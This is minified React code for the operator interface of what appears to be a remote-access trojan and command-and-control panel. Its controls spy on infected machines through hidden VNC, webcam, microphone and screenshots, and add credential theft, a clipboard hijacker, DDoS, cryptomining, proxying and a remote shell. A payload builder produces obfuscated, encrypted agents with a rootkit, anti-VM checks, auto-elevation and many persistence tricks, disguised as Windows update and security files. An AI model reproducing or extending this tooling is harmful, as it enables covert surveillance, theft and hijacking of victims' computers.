px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await z5(i.id);const I=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>we(I=>!I),className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),de&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:I=>le(Number(I.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(I=>a.jsxs("option",{value:I,children:["Camera ",I]},I))]}),a.jsx("button",{onClick:async()=>{we(!1);try{await S5(i.id,Z);const I=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await C5(i.id);const I=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:F.length>0?F.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>G("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>G("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Am,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Lo(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Am,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Am,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:T5(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Mo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:Jc(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:to(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${B!=null&&B.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:B!=null&&B.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:B.port?`127.0.0.1:${B.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:B.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Tp(B.bytes_in)," in / ",Tp(B.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await c_(i.id),K({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium tex
hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(I.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:I.dataUrl,alt:`Screenshot ${to(I.taskId)}`,className:`w-full h-full object-cover opacity-90
group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(fe=>new Set(fe).add(I.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:to(I.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:Jc(I.timestamp)})]})})]},I.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>O(I=>!I),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(qU,{lines:re,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&se.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0
bg-zerin-panel border border-zerin-panel-border
z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:se.map(I=>a.jsx("button",{onClick:()=>ke(I),className:`px-2.5 py-1 text-xs font-mono
bg-zerin-bg text-zerin-text-dim
border border-zerin-panel-border
hover:text-zerin-accent hover:border-zerin-accent/40
hover:bg-zerin-accent-muted transition-colors`,children:I},I))})]})}),V&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:V}),a.jsxs("form",{onSubmit:be,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:I=>g(I.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border
px-3 py-1.5 text-zerin-text font-mono text-sm
placeholder-zerin-text-muted
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20
disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white
text-sm font-medium px-4 py-1.5
disabled:opacity-30 disabled:cursor-not-allowed
transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(M5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>A(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:I=>I.stopPropagation(),children:[a.jsxs("button",{onClick:()=>A(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim
hover:text-zerin-text text-sm transition-colors px-2 py-1
hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:`
px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px
${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"}
`,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Am({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const oS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},F2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},pV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function hV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await QE();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(vd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(W2,{label:"All",active:i==="all",onClick:()=>s("all")}),pV.map(p=>a.jsx(W2,{label:oS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-ce
px-3 py-1 text-xs font-medium border transition-all duration-150
${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}
`,children:e})}const U2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function V2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const H2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],vV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(!1),[o,l]=m.useState(0),[c,u]=m.useState(0),[d,f]=m.useState(""),[p,h]=m.useState(""),x=m.useSyncExternalStore(_5,E5),g=x.status==="building",[y,v]=m.useState(V2),[b,w]=m.useState([""]),[j,N]=m.useState("30"),[k,z]=m.useState("25"),[S,A]=m.useState(""),[_,O]=m.useState(U2),[P,D]=m.useState(!1),[V,R]=m.useState("exe"),[M,W]=m.useState(0),[$,U]=m.useState(!0),[B,K]=m.useState(!0),[Z,le]=m.useState(!0),[de,we]=m.useState(!0),[ye,G]=m.useState(1),[te,C]=m.useState("Microsoft\\WindowsUpdate"),[Y,re]=m.useState("SecurityHealthService.exe"),[F,se]=m.useState(null),be=m.useCallback(async()=>{try{const q=await t_();t(q)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{be(),n_().then(q=>{w(ne=>ne.length===1&&ne[0]===""?[q.default_callback_url]:ne)}).catch(()=>{})},[be]),m.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const ve=Math.floor((Date.now()-x.startedAt)/1e3);u(ve);const H=Math.min(95,Math.floor(100*(1-Math.exp(-ve/50))));l(H)},500),ne=Math.floor((Date.now()-x.startedAt)/1e3);return u(ne),l(Math.min(95,Math.floor(100*(1-Math.exp(-ne/50))))),()=>clearInterval(q)},[g,x.startedAt]),m.useEffect(()=>{g&&s(!0)},[]),m.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),s(!1),ay(),be()):x.status==="error"&&(f(x.error||"Failed to build payload"),ay())},[x.status]),m.useEffect(()=>{if(!p)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[p]);function ke(){v(V2()),N("30"),z("25"),A(""),O(U2),D(!1),R("exe"),W(0),U(!0),K(!0),le(!0),we(!0),G(1),C("Microsoft\\WindowsUpdate"),re("SecurityHealthService.exe")}async function Ae(q){q.preventDefault(),f("");const ne=b.filter(Q=>Q.trim()!=="");let ve=0;S&&(ve=Math.floor(new Date(S).getTime()/1e3));const H={name:y.trim(),callback_urls:ne,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(k,10)||25,kill_date:ve,user_agent:_.trim(),output_format:V,debug:P,persist_methods:M||void 0,rootkit_enabled:$,encryption_enabled:B,anti_vm:Z,auto_elevate:de,install_dir:ye,install_subdir:te,install_filename:Y};K_(H.name);try{await e_(H),Y_(),ke()}catch(Q){Q instanceof bi?iy(Q.message):iy("Failed to build payload")}}async function I(q){const ne=st();if(!ne){f("Not authenticated");return}try{const ve=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${ne}`}});if(!ve.ok){f("Download failed");return}const H=await ve.blob(),Q=URL.createObjectURL(H),he=document.createElement("a");he.href=Q;const E=ve.headers.get("content-disposition"),ce=E==null?void 0:E.match(/filename="(.+?)"/);he.download=(ce==null?void 0:ce[1])||`${q.name||"payload"}.exe`,document.body.appendChild(he),he.click(),document.body.removeChild(he),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function fe(q){try{await r_(q),se(null),be()}catch{f("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibo
text-sm font-medium px-4 py-2 transition-all duration-150
${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"}
`,children:i?"Cancel":"+ Build Agent"})]}),p&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:p}),i&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),a.jsxs("form",{onSubmit:Ae,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(gr,{label:"Payload Name",children:a.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})}),a.jsx(gr,{label:"Output Format",children:a.jsxs("select",{value:V,onChange:q=>{const ne=q.target.value;R(ne),ne==="exe"&&W(ve=>ve&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(gr,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:j,onChange:q=>N(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200\r
[appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(gr,{label:`Jitter (${k}%)`,children:a.jsx("input",{type:"range",value:k,onChange:q=>z(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r
[&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r
[&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r
[&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r
[&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(gr,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:S,onChange:q=>A(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200\r
[color-scheme:dark]`})})]}),a.jsx(gr,{label:"User Agent",children:a.jsx("input",{type:"text",value:_,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})}),a.jsx(gr,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:vV.map(q=>{const ne=q.dllOnly&&V==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors
${ne?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:ne,onChange:ve=>{W(ve.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),ne&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),a.jsx(gr,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:ye,onChange:q=>G(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
